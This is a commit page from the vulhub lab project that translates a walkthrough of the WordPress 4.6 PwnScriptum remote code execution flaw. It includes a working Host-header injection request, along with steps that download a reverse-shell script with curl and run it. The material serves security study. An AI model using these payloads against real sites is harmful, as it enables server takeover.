Skip to content

Commit

Permalink
update translation (vulhub#62)
Browse files Browse the repository at this point in the history
* update translation
  • Loading branch information
JrDw0 authored Sep 11, 2018
1 parent f8cb581 commit b7d3340
Show file tree
Hide file tree
Showing 2 changed files with 89 additions and 26 deletions.
56 changes: 30 additions & 26 deletions wordpress/pwnscriptum/README.md
Original file line number Diff line number Diff line change
@@ -1,23 +1,23 @@
# Wordpress 4.6 任意命令执行漏洞(PwnScriptum)
# Wordpress 4.6 Remote Code Execution Vulnerability(PwnScriptum)

## 原理
[中文版本(Chinese version)](README.zh-cn.md)

参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
## Reference link

## 测试环境
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

编译及运行测试环境
## Environment setup

```
docker-compose build
docker-compose up -d
```

由于Mysql初始化需要一段时间,所以请等待。成功运行后,打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。
Because Mysql initialization needs a little time, so please wait. After initialization succeeds, visit the site, set the administrator username and password to use it (the database is configured and not automatically updated).

## 测试与EXP使用
## Expliot

发送如下数据包,可见`/tmp/success`已经成功创建:
Send the following packet, and you can see that `/tmp/success` has been successfully created:

```
POST /wp-login.php?action=lostpassword HTTP/1.1
Expand All @@ -31,29 +31,33 @@ Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
```

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:
We need to meet the following requirements to exploit this vulnerability:

1. 执行的命令不能包含大量特殊字符,如`:`、引号等。
2. 命令会被转换成小写字母
3. 命令需要使用绝对路径
4. 需要知道某一个存在的用户的用户名
1. The executed command cannot contain some special characters, such as `:`, `'`,`"`, etc.
2. The command will be converted to lowercase letters
3. The command needs to use an absolute path
4. Need know an existing user username

为了解决这些坑,漏洞作者想出了,利用`${substr{0}{1}{$spool_directory}}`代替`/`,用`${substr{10}{1}{$tod_log}}`代替空格的方法。
In order to solve these problems, the vulnerability author came up with $`substr{0}{1}{$spool_directory}}` instead of `/`, using `${substr{10}{1}{$tod_log} }` method of replacing spaces.

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过`curl -o /tmp/rce example.com/shell.sh`的方法先将他下载到/tmp目录中,再去执行。
However, there are still a lot of characters can't be used. So we need to put the command on the third-party website, and then download it to `/tmp` directory by `curl -o /tmp/rce example.com/shell.sh`.

所以,总体来说利用过程如下:
Therefore, the expliot process is follows:

1. 编写反弹shell的exp,放到某个网页里。有如下要求:
- 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
- 访问该网页不能跳转,因为follow跳转的参数是`-L`(大写)
2. 拼接成命令`/usr/bin/curl -o/tmp/rce example.com/shell.sh`和命令`/bin/bash /tmp/rce`
3. 将上述命令中的空格和`/`转换成`${substr{10}{1}{$tod_log}}``${substr{0}{1}{$spool_directory}}`
4. 拼接成HTTP包的Host头:`target(any -froot@localhost -be ${run{command}} null)`
5. 依次发送这两个拼接好的数据包
1. Write the exp of reverse shell and put it on a site. The exp have this following requirements:
- the entire url's uppercase letters will be converted to lowercase, so the file path should not contain uppercase letters.
- Access to this page can't be redirected because the parameter for follow redirect is `-L` (uppercase).

我将上述过程写成[exp脚本](exploit.py),将脚本中target修改成你的目标,user修改成一个已经存在的用户,`shell_url`修改成你放置payload的网址。(或直接将target作为第一个参数、`shell_url`作为第二个参数)
2. Splice the command`/usr/bin/curl -o/tmp/rce example.com/shell.sh`and`/bin/bash /tmp/rce`.

执行即可获得shell:
3. Convert the spaces and `/` in the command to `${substr{10}{1}{$tod_log}}` and `${substr{0}{1}{$spool_directory}}`.

![](1.png)
4. Produce the HTTP Host header:`target(any -froot@localhost -be ${run{command}} null)`.

5. Send these two packets in order.

Here is [expliot.py](exploit.py),change `target` to your target site,change `user` to an exist user name,change `shell_url` to your payload site.

Execute to get the shell:

![](1.png)
59 changes: 59 additions & 0 deletions wordpress/pwnscriptum/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
# Wordpress 4.6 任意命令执行漏洞(PwnScriptum)

## 原理

参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

## 测试环境

编译及运行测试环境

```
docker-compose build
docker-compose up -d
```

由于Mysql初始化需要一段时间,所以请等待。成功运行后,打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

## 测试与EXP使用

发送如下数据包,可见`/tmp/success`已经成功创建:

```
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
```

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

1. 执行的命令不能包含大量特殊字符,如`:`、引号等。
2. 命令会被转换成小写字母
3. 命令需要使用绝对路径
4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用`${substr{0}{1}{$spool_directory}}`代替`/`,用`${substr{10}{1}{$tod_log}}`代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过`curl -o /tmp/rce example.com/shell.sh`的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

1. 编写反弹shell的exp,放到某个网页里。有如下要求:
- 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
- 访问该网页不能跳转,因为follow跳转的参数是`-L`(大写)
2. 拼接成命令`/usr/bin/curl -o/tmp/rce example.com/shell.sh`和命令`/bin/bash /tmp/rce`
3. 将上述命令中的空格和`/`转换成`${substr{10}{1}{$tod_log}}``${substr{0}{1}{$spool_directory}}`
4. 拼接成HTTP包的Host头:`target(any -froot@localhost -be ${run{command}} null)`
5. 依次发送这两个拼接好的数据包

我将上述过程写成[exp脚本](exploit.py),将脚本中target修改成你的目标,user修改成一个已经存在的用户,`shell_url`修改成你放置payload的网址。(或直接将target作为第一个参数、`shell_url`作为第二个参数)

执行即可获得shell:

![](1.png)

0 comments on commit b7d3340

Please sign in to comment.